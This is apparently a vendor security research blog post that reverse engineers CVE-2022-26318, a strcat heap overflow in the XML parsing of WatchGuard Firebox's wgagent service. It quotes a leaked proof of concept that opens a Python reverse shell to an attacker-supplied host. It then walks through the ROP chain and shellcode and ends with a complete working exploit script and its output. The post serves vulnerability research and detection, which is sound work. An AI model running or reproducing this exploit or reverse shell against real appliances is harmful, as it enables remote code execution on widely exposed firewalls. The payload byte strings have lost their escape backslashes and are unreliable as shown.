![]() |
---|
A world where binary payloads come with explanations. |
The CVE for this issue is CVE-2022-26318.
The reverse engineering of this CVE was performed by Dylan Pindur.
On March 18 2022 GreyNoise reported seeing activity targeting CVE-2022-26318, an advisory for a nondescript vulnerability in WatchGuard Firebox and XTM appliances. WatchGuard appliances provide various network security functions including firewall, threat detection and VPN services. A cursory search with Censys lists roughly 400,000 internet facing WatchGuard devices. As such, an exploit in one of these devices can have a big impact.
Examining the CVE yielded little useful information. The only note on the issue from WatchGuard was that it “could allow an unauthenticated user to execute arbitrary code”. Things became more interesting on March 28 2022 when a proof-of-concept was released and then removed shortly after. Forunately, a mirror is available here. Looking at the exploit, which is included below, we can make a few guesses before running it. As we will see in the post, some of these are correct and others are not.
def buildPayload(L_HOST):
payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
payload += ("A"*3181).encode()
payload += "MFA>".encode()
payload += ("<BBBBMFA>"*3680).encode()
payload += b'x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 [email protected]x00x00x00x00x00h[email protected]x00x00x00x00x00 [email protected]x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xb1xd5Ax00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00}^@x00x00x00x00x00x00x00x00x00x00x00x00x00|^@x00x00x00x00x00xadxd2Ax00x00x00x00x00x00x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00*[email protected]x00x00x00x00x00Hx8d=x9dx00x00x00xbeAx02x00x00xbaxb6x01x00x00xb8x02x00x00x00x0fx05Hx89x05x92x00x00x00Hx8bx15x93x00x00x00Hx8d5x94x00x00x00Hx8b=}x00x00x00xb8x01x00x00x00x0fx05Hx8b=ox00x00x00xb8x03x00x00x00x0fx05xb8;x00x00x00Hx8d=?x00x00x00Hx89= x00x00x00Hx8d5Ax00x00x00Hx895x1ax00x00x00Hx8d5x0bx00x00x001xd2x0fx05xb8<x00x00x00x0fx05x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00/usr/bin/pythonx00/tmp/test.pyx00x00x00x00x00x00x00x00x00xefx01x00x00x00x00x00x00'
payload += 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/python","-i"]);'.format(L_HOST).encode()
return gzip.compress(payload, 9)
- The exploit begins with a large malformed XML payload, so the XML parser is a likely candidate for exploitation.
- The exploit is compressed using gzip, another location where it’s reasonable for a memory-related vulnerability to appear.
- Towards the end of the exploit we see multiple string of bytes in the format
00 00 00 00 00 xx xx xx
indicating a possible rop gadget consisting of 64-bit memory addresses where the high bits are all set to zero.
First we needed to start up a vulnerable instance of WatchGuard to verify the exploit. This was easier said than done. By tweaking the URL for the FireboxV 12.8 VM image we were able to download FireboxV-12.7.2. However, after starting the VM and logging in we were presented with a limited shell and no file access. No worries, we can mount the disk image in another VM and overwrite the root password.
[[email protected] ~]# mount /dev/nvme0n2p2 /tmp/firebox
[[email protected] ~]# openssl passwd -6 root
$6$rkm3xalVbXgD/rQ7$Fl.F.rJi/5J.t4DTIS.itt6ypDXtfC7XKAnD1FM6vNMGjl0jiO0X.kW8r2cQPqW3HWneRSipaneXsg4wzZCuS.
[[email protected] ~]# sed -i 's|root:.*:0:0|root:$6$rkm3xalVbXgD/rQ7$Fl.F.rJi/5J.t4DTIS.itt6ypDXtfC7XKAnD1FM6vNMGjl0jiO0X.kW8r2cQPqW3HWneRSipaneXsg4wzZCuS.:0:0|' /tmp/firebox/etc/passwd
After trying to login, we were hit with another hurdle. There was no shell installed at all.
WatchGuard-XTM login: root
Password: root
login: can't execute '/bin/ash': No such file or directory
Using the same trick as before we mounted the disk image and copied /bin/bash
over. In retrospect, this would have been a good time to check what other utilities were missing, because there were a lot of them. After actually logging in, we were greeted with no way to read files and all mounted filesystems locked down to either be non-executable or non-writable.
([email protected]) Password:
-bash-5.1# cat /etc/nginx/nginx.conf
-bash: cat: command not found
-bash-5.1# cd /bin
-bash-5.1# echo x > x.txt
-bash: x.txt: Read-only file system
After another round of mount, copy, reboot we had BusyBox installed and remounted the filesystem as read-write. We began our analysis by searching through the Nginx configuration files. We found that the target port of the exploit (4117) is proxied to /usr/bin/wgagent
. Our analysis also showed that port 8080 points to the same wgagent service.
server {
listen 4117 ssl;
listen [::]:4117 ssl;
include fastcgi_params;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param WG_SSL_SERVER_CERT /var/run/nginx/server.pem;
fastcgi_request_buffering off;
if ($request_method !~ ^(GET|HEAD|POST)$) { return 444; }
location /agent/ {
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
# /agent/file_action can take a while, e.g. backup
fastcgi_read_timeout 10m;
}
location /login { # no trailing slash
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
location /logout {
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
location /ping { # no trailing slash
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
location /cluster/ {
fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent;
}
}
Lastly, we dropped a statically compiled gdbserver onto our target, opened the firewall and attached to the wgagent process. We were finally ready to run the exploit.
-bash-5.1# iptables -I INPUT 1 -i eth0 -j ACCEPT
-bash-5.1# gdbserver --attach 0.0.0.0:15432 $(busybox pidof wgagent)
Attached; pid = 2536
Listening on port 15432
From our debugging machine we attached to the target. We used GDB with PEDA to make the process less painful. We bumped our payload by a few bytes to try and get a crash rather than a clean exit. That way we would have somewhere to start searching for the vulnerability itself.
[----------------------------------registers-----------------------------------]
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7f0c39e894c4: pop r13
0x7f0c39e894c6: pop r14
0x7f0c39e894c8: pop r15
=> 0x7f0c39e894ca: ret
0x7f0c39e894cb: nop DWORD PTR [rax+rax*1+0x0]
0x7f0c39e894d0: mov rax,QWORD PTR [r15+0x38]
0x7f0c39e894d4: movsxd rdx,edx
0x7f0c39e894d7: movsxd r12,ecx
[------------------------------------stack-------------------------------------]
0000| 0x7ffcd3e0afd6 --> 0x0
0004| 0x7ffcd3e0afda --> 0x405020 (ret)
0008| 0x7ffcd3e0afde --> 0x0
0012| 0x7ffcd3e0afe2 --> 0x40f968 (ret 0x2)
0016| 0x7ffcd3e0afe6 --> 0x0
0020| 0x7ffcd3e0afea --> 0x405020 (ret)
0024| 0x7ffcd3e0afee --> 0x0
0028| 0x7ffcd3e0aff2 --> 0xd60e0000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007f0c39e894ca in ?? () from target:/lib64/libxml2.so.2
Looking at the stack trace gave us a good starting point in Ghidra to know where to look. If we’re lucky the crash will be near the vulnerability. The segfault also occurs in the XML parsing library which lines up with our guess that the XML parser is the source of the vulnerability.
After looking at the symbols imported from libxml2, we searched for calls to xmlParseChunk
with Ghidra. All the calls we found are in one function starting at 0x0040869d
.
![]() |
---|
So we put a breakpoint at 0x0040869d
and reran our exploit to see if we safely return from the function or if it crashes.
gdb-peda$ break *0x0040869d
Breakpoint 1 at 0x40869d
gdb-peda$ continue
Continuing.
[----------------------------------registers-----------------------------------]
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40869a: nop
0x40869b: leave
0x40869c: ret
=> 0x40869d: push rbp
0x40869e: mov rbp,rsp
0x4086a1: sub rsp,0x30f10
0x4086a8: mov QWORD PTR [rbp-0x30f08],rdi
0x4086af: mov QWORD PTR [rbp-0x30f10],rsi
[------------------------------------stack-------------------------------------]
0000| 0x7ffffff0a248 --> 0x40b8f8 (mov QWORD PTR [rbp-0x88],rax)
0004| 0x7ffffff0a24c --> 0x0
0008| 0x7ffffff0a250 --> 0x0
0012| 0x7ffffff0a254 --> 0x0
0016| 0x7ffffff0a258 --> 0x0
0020| 0x7ffffff0a25c --> 0x0
0024| 0x7ffffff0a260 --> 0x8bd
0028| 0x7ffffff0a264 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040869d in ?? ()
gdb-peda$ finish
Run till exit from #0 0x000000000040869d in ?? ()
Program received signal SIGSEGV, Segmentation fault.
We got a segfault, which is good news. Given what we knew about this function and our payload, this was a promising lead. Our next port of call was some code review of the function making all the calls to xmlParseChunk
. The function allocates quite a few large buffers on the stack and on the heap, however after enumerating these, all appeared to performed safely.
The next path we ventured down was the XML parser itself. There are no published vulnerabilities in the version of libxml2 used by WatchGuard. However, when we looked at the instantiation of the xml parser we saw that it was passed several callbacks.
Ghidra mistakenly identified them as separate local variables and not part of the larger structure beginning at local_158
. We inferred this because the call to bzero
on local_158
zeroes out 256 bytes and not the 48 specified in the variable declaration.
undefined local_158 [48];
undefined8 local_128;
code *local_f8;
code *local_f0;
code *local_d0;
code *local_70;
code *local_68;
...
bzero(local_158,0x100);
xmlSAX2InitDefaultSAXHandler(local_158,1);
local_f8 = FUN_00406797;
local_f0 = FUN_004067d4;
local_70 = FUN_004067ef;
local_68 = FUN_00406dce;
local_d0 = FUN_004070b3;
Through some trial and error, we discovered that these callbacks correspond to the following XML SAX handler fields.
- startDocument
- endDocument
- startElementNs
- endElementNs
- characters
We reviewed these callbacks and found that at the end startElementNs (FUN_004067ef
) a call to strcat
is made with the element name (param_2
) used as the source string.
do {
if (uVar9 == 0) break;
uVar9 = uVar9 - 1;
cVar1 = *pcVar10;
pcVar10 = pcVar10 + (ulong)bVar11 * -2 + 1;
} while (cVar1 != ' ');
*(undefined2 *)(~uVar9 + 0x42735f) = 0x2f;
strcat(&DAT_00427360,param_2);
DAT_00427194 = 1;
DAT_00427198 = 0;
*(int *)(param_1 + 0x40) = *(int *)(param_1 + 0x40) + 1;
return;
strcat
is a pretty popular target for buffer overflows, so we put a breakpoint before our call to strcat
and ran display/s $rdi
to print the destination argument as a string each time execution was paused.
[----------------------------------registers-----------------------------------]
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x406d8c: mov rsi,rax
0x406d8f: mov rax,0x427360
0x406d96: mov rdi,rax
=> 0x406d99: call 0x405c00 <[email protected]>
0x406d9e: mov rax,0x427194
0x406da5: mov DWORD PTR [rax],0x1
0x406dab: mov rax,0x427198
0x406db2: mov DWORD PTR [rax],0x0
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fff5ca61b00 --> 0x0
0004| 0x7fff5ca61b04 --> 0x0
0008| 0x7fff5ca61b08 ("xt/p")
0012| 0x7fff5ca61b0c --> 0x0
0016| 0x7fff5ca61b10 --> 0x0
0020| 0x7fff5ca61b14 --> 0x0
0024| 0x7fff5ca61b18 --> 0x0
0028| 0x7fff5ca61b1c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x0000000000406d99 in ?? ()
gdb-peda$ display/s $rdi
2: x/s $rdi 0x427360: "/"
We stepped through multiple calls to strcat
and found that it was constructing an XPath query to traverse the XML document.
2: x/s $rdi 0x427360: "/methodCall/"
2: x/s $rdi 0x427360: "/methodCall/params/"
2: x/s $rdi 0x427360: "/methodCall/params/param/"
...
2: x/s $rdi 0x427360: "/methodCall/params/param/value/struct/member/value/", 'A' <repeats 149 times>...
There didn’t seem to be any limit on how many times strcat
was called and after we checked the process mappings it looked like eventually strcat
would start overflowing into heap memory. This can be seen below, the destiantion address 0x427360
is in the block immediately preceeding the heap 0x428000
.
gdb-peda$ info proc mapping
process 2921
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x405000 0x5000 0x0 /usr/bin/wgagent
0x405000 0x41e000 0x19000 0x5000 /usr/bin/wgagent
0x41e000 0x425000 0x7000 0x1e000 /usr/bin/wgagent
0x425000 0x426000 0x1000 0x24000 /usr/bin/wgagent
0x426000 0x428000 0x2000 0x25000 /usr/bin/wgagent
0x428000 0x474000 0x4c000 0x0 [heap]
Although there are multiple ways to exploit heap overflows, there’s a simpler option available to us here. Using PEDA we searched memory for the address of our startElementNs
callback (0x4067ef
) and found that, as part of instantiating the parser context, the address is copied to the heap and is roughly 11,000 bytes away from the start of the XPath query.
gdb-peda$ find 0x4067ef
Searching for '0x4067ef' in: None ranges
Found 2 results, display max 2 items:
[heap] : 0x429e68 --> 0x4067ef (push rbp)
[stack] : 0x7fff5ca92c88 --> 0x4067ef (push rbp)
We inspected the memory before and after and confirmed it was our SAX handler struct as it contained the magic identifier specified by libxml2, #define XML_SAX2_MAGIC 0xDEEDBEAF
.
gdb-peda$ x/10w 0x429e68-0x10
0x429e58: 0xdeedbeaf 0x00000000 0x00000000 0x00000000
0x429e68: 0x004067ef 0x00000000 0x00406dce 0x00000000
0x429e78: 0x00000000 0x00000000
We put a watch on the heap address of the callback, waiting for it to be overwritten and when it was we saw something familiar.
gdb-peda$ watch *(int *) 0x429e68
Hardware watchpoint 3: *(int *) 0x429e68
gdb-peda$ continue 2000
Will ignore next 1999 crossings of breakpoint 2. Continuing.
Hardware watchpoint 3: *(int *) 0x429e68
Old value = 0x4067ef
New value = 0x41464d
0x00007fbe99c3ccb6 in ?? () from target:/lib64/libc.so.6
0x41464d
is MFA, the three characters repeated in the XML payload. We had found the start of our ROP gadget chain. Next time libxml2 tries to call startElementNs
it will instead jump to 0x41464d
.
The goal of this ROP chain was to pivot execution to the shellcode located on the stack. Fortunately, the stack was already marked as executable so no additional steps need to be taken. An annotated trace of the chain is as follows:
Pop 37054 bytes from the stack and return but with a now much shorter stack.
0x41464d: ret 0x90be
Continue execution of libxml2 as normal.
0x7f37bfee24a4: add rsp,0x20
0x7f37bfee24a8: mov ecx,DWORD PTR [rsp+0x3c]
0x7f37bfee24ac: test ecx,ecx
0x7f37bfee24ae: jne 0x7f37bfee26bb
0x7f37bfee24b4: mov rax,QWORD PTR [rsp+0x10]
0x7f37bfee24b9: add rsp,0x88
0x7f37bfee24c0: pop rbx
0x7f37bfee24c1: pop rbp
0x7f37bfee24c2: pop r12
0x7f37bfee24c4: pop r13
0x7f37bfee24c6: pop r14
0x7f37bfee24c8: pop r15
0x7f37bfee24ca: ret
Pop 2 bytes from the stack and hop to the next gadget.
0x40f968: ret 0x2
Hop to the next gadget.
0x405020: ret
Pop ROP gadget at 0x41d611 into rax.
0x41d60e: pop rax
0x41d60f: pop rbx
0x41d610: pop rbp
0x41d611: ret
Save the stack pointer in rbp then call the gadget popped into rax previously.
0x405e7d: mov rbp,rsp
0x405e80: call rax
Bump two values off the stack.
0x41d5b1: pop rsi
0x41d5b2: pop r15
0x41d5b4: ret
Push rbp, which contains our stack pointer onto the stack.
0x405e7c: push rbp
0x405e7d: mov rbp,rsp
0x405e80: call rax
Bump two values off the stack.
0x41d5b1: pop rsi
0x41d5b2: pop r15
0x41d5b4: ret
Load stack address we pushed on earlier into rdx and copy it into rsi.
0x41d2ad: lea rdx,[rbp-0x80]
0x41d2b1: mov rsi,rdx
0x41d2b4: mov rdi,rcx
0x41d2b7: call rax
Bump two values off the stack.
0x41d5b1: pop rsi
0x41d5b2: pop r15
0x41d5b4: ret
Pop 0xc0 into rax to bump what will become our stack pointer by 192 bytes.
0x41d60e: pop rax
0x41d60f: pop rbx
0x41d610: pop rbp
0x41d611: ret
Copy (via adding) rdx, which points to the stack, into rax and then jump to rax.
0x40a92a: add rax,rdx
0x40a92d: jmp rax
Start executing our shellcode.
0x7ffd5782ca68: nop
The goal here had been to determine if this exploit was suitable to put into our platform here at Assetnote. This means the exploit must meet certain criteria. It is preferred if the exploit is relatively non-intrusive, consistent and doesn’t rely on calling back to our infrastructure. Unfortunately, as presented, this exploit didn’t meet this criteria. The exploit writes a file to disk and then throws a reverse shell that we are expected to catch. Bearing all this in mind, some modifications were required. Since we’re already making a HTTP request, what would be great is if we could hijack the response and write out a unique value. Then if we see this unique value, we know the exploit worked.
First, we ran the process with strace
attached and sent through a normal request. The goal here was to capture what information the wgagent process writes sends back to Nginx as a reply.
-bash-5.1# strace -e trace=write -v -s 1024 -p $(busybox pidof wgagent)
strace: Process 2536 attached
write(9, "16 11]3 Content-type: text/xmlrnrn<?xml version="1.0"?>n<methodResponse>n <fault><value><struct>n <member>n <name>faultCode</name>n <value><int>401</int></value>n </member>n <member>n <name>faultString</name>n <value><string>invalid credentials or user doesn't exist</string></value>n </member>n </struct></value></fault>n</methodResponse>n ", 360) = 360
write(9, "16 1 13 1 10 ", 24) = 24
We saw that the response always follows the same format, some binary and then some HTML written out to file descriptor nine. Cross-referencing this against what we know about the process (that it uses FCGI) we saw that it lined up quite nicely with an FCGI response record struct.
typedef struct {
unsigned char version; // 0x01
unsigned char type; // 0x06 (FCGI_STDOUT)
unsigned char requestIdB1; // 0x00
unsigned char requestIdB0; // 0x01
unsigned char contentLengthB1; // 0x01
unsigned char contentLengthB0; // ]
unsigned char paddingLength; // 0x03
unsigned char reserved; // 0x00
unsigned char contentData[contentLength]; // Content-type: text/xml...
unsigned char paddingData[paddingLength]; // 0x000000
} FCGI_Record;
All we needed to do next was write some short shellcode to setup and execute a syscall which wrote out a test value, “PewPewPewPew”. We also added an exit syscall afterwards to ensure the process exited cleanly rather than segfaulting after our shellcode finished.
0: 48 c7 c2 30 00 00 00 mov rdx,0x30 ; arg 3 to write, the string length
7: 48 89 e6 mov rsi,rsp
a: 48 83 c6 38 add rsi,0x38 ; arg 2 to write, stack pointer + offset to our fcgi record
e: 48 c7 c7 09 00 00 00 mov rdi,0x9 ; arg 1 to write, file descriptor we are writing to
15: 48 c7 c0 01 00 00 00 mov rax,0x1 ; write's syscall number
1c: 0f 05 syscall
1e: 48 c7 c0 3c 00 00 00 mov rax,0x3c ; exit's syscall number (60)
25: 48 c7 c7 00 00 00 00 mov rdi,0x0 ; arg 1 to exit
2c: 0f 05 syscall
Putting it all together we produced the following exploit.
#!/usr/bin/env python3
import socket
import ssl
import gzip
import sys
def build_payload():
# xml overflow payload
payload = b''
payload += b'<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'
payload += b'A'*3181
payload += b'MFA>'
payload += b'<BBBBMFA>'*3680
# padding and rop chain
payload += b'x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 [email protected]x00x00x00x00x00h[email protected]x00x00x00x00x00 [email protected]x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xb1xd5Ax00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00}^@x00x00x00x00x00x00x00x00x00x00x00x00x00|^@x00x00x00x00x00xadxd2Ax00x00x00x00x00x00x00x00x00x00x00x00x00x0exd6Ax00x00x00x00x00xc0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00*[email protected]x00x00x00x00x00'
# shell code
payload += b'x48xC7xC2x30x00x00x00' # mov rdx,0x30
payload += b'x48x89xE6' # mov rsi,rsp
payload += b'x48x83xC6x2e' # add rsi,0x2e
payload += b'x48xC7xC7x09x00x00x00' # mov rdi,0x9
payload += b'x48xC7xC0x01x00x00x00' # mov rax,0x1
payload += b'x0fx05' # syscall
payload += b'x48xc7xc0x3cx00x00x00' # mov rax,0x3c
payload += b'x48xc7xc7x00x00x00x00' # mov rdi,0x0
payload += b'x0fx05' # syscall
# http response
payload += b'x01' # fcgi version
payload += b'x06' # fcgi type (stdout)
payload += b'x00x01' # fcgi request id
payload += b'x00x3c' # content length
payload += b'x00' # padding length
payload += b'x00' # reserved
payload += b'Content-Type: text/plainrnrnPewPewPewPew'
return gzip.compress(payload, 9)
def build_post_request(target):
payload = build_payload()
request = ''
request += 'POST /agent/login HTTP/1.1rn'
request += 'Host: {}:8080rn'.format(target)
request += 'Content-Encoding: gziprn'
request += 'Content-Length: {}rn'.format(len(payload))
request += 'rn'
return request.encode() + payload
if __name__ == '__main__':
TARGET = sys.argv[1]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = ssl.wrap_socket(sock=sock, cert_reqs=ssl.CERT_NONE)
print('connecting to {} port {}'.format(TARGET, 8080))
ssl_sock.connect((TARGET, 8080))
print ('sending payload...')
request = build_post_request(TARGET)
ssl_sock.send(request)
print('receiving...')
print(ssl_sock.recv())
Which, when run, gave us the response we had all been waiting for!
$ ./exploit.py 192.168.1.253
connecting to 192.168.1.253 port 8080
sending payload...
receiving...
b"HTTP/1.1 200 OKrnDate: Wed, 13 Apr 2022 12:37:10 GMTrnContent-Type: text/plainrnTransfer-Encoding: chunkedrnConnection: keep-alivernX-Frame-Options: SAMEORIGINrnX-XSS-Protection: 1; mode=blockrnX-Content-Type-Options: nosniffrnStrict-Transport-Security: max-age=31536000rnContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'rnX-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'rnX-Webkit-CSP: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'rnrncrnPewPewPewPewrn"
So what have we learnt? Locking down a VM by removing utilities and mounting filesystems as read-only, while annoying, doesn’t provide a great deal protection. The original exploit used python to get around this and we were able to remove the protections with a little effort. That being said, it does make maintaining perstence after exploitation considerably harder.
Out of our three initial guesses, two were correct. The XML parser was vulnerable and the exploit did utilise a ROP chain. However, nothing in the exploit appeared to rely on it being compressed. Instead this was probably done to avoid sending a 30kB POST body.
Lastly, as expected, strcat
and friends are probably best avoided. There are safer alternatives out there like strlcat
.
As part of the development of our Continuous Security Platform, Assetnote’s Security Research team is consistently looking for and analysing security vulnerabilities in enterprise software to help customers identify security issues across their attack surface.
Looking at this research as a whole one the of the key takeaways is that the visibility into the exposure of enterprise software is often lacking or misunderstood by organizations that deploy this software. Little information was provided on how to verify if a deployment was vulnerable and the criticality of the issue was left relatively quiet.
Many organizations disproportionately focus on in-house software and network issues at the expense of awareness and visibility into the exposure in the software developed by third parties. Our experience has shown that there continues to be significant vulnerabilities in widely deployed enterprise software that is often missed.
If you are interested in gaining wholistic, real-time visibility into your attack surface please contact us.
If you are interested in working on the leading Attack Surface Management platform that’s helping companies worldwide from the Fortune 100 to innovate startups secure millions of systems please check out our careers page for current openings. We are always on the lookout for top talent so even if there are no open roles in your field please feel free to drop us a line.